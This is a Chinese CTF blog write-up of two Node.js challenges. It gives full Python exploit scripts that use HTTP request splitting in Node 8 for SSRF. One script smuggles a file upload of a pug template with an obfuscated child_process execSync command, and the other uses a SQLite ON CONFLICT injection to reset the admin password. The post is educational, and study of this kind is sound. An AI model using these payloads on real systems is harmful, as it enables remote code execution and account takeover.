nodejs题目记录

[GYCTF2020]Node Game

参考https://xz.aliyun.com/t/2894#toc-2

出题人参考的题目

出题人自己思路

题目也挺老了感觉,这里的node版本为8,是存在http拆分请求攻击的。给了源码,审计一下。nodejs走私打ssrf。自己写的没打通,看网上有些也不打通,环境会崩,找了一个能打通。这里将字符unicode编码,因为node8采用的单字节latin编码,会将高字节位截掉,只剩下低字节位。也可用global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynWjDdj9HcJ7ILyVa

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarynWjDdj9HcJ7ILyVa
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarynWjDdj9HcJ7ILyVa--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/' #闭合下一个请求
print(payload)
requests.get(
'http://68d9e1b4-926e-4d78-974c-b5eed4e09526.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get(
'http://68d9e1b4-926e-4d78-974c-b5eed4e09526.node4.buuoj.cn:81/?action=shell').text)

[hackthebox] Weather App

node考点一样但是多加了一个sqlite注入。

查询天气处存在http请求拆分打ssrf

在这里插入图片描述

稍微改改上面的脚本。抓包将生成的payload发包,发现可接受到

在这里插入图片描述

sqlite中存在一个插入和一个查询操作

在这里插入图片描述

这里利用admin' ON CONFLICT(username) DO UPDATE set password='123'-+来闭合插入语句,当插入存在冲突时自动更新密码

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import json
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /register HTTP/1.1
Host: 167.99.202.131:32102
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

username=admin&password=admin' ON CONFLICT(username) DO UPDATE set password='123'-+
""".replace('\n', '\r\n')

payload = payload \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ '\u010d\u010aGET' + '\u0120' + '/'

data = {"endpoint":f'127.0.0.1/xxx?p=1{payload}',
"city":"uk",
"country":"London"}
# print(json.dumps(data))
res = requests.post('http://167.99.202.131:32102/api/weather',data=json.dumps(data),headers={"Content-type":"application/json",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"})
flag = requests.post("http://167.99.202.131:32102/login",data={"username":"admin","password":"123"})
print(flag.text)

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!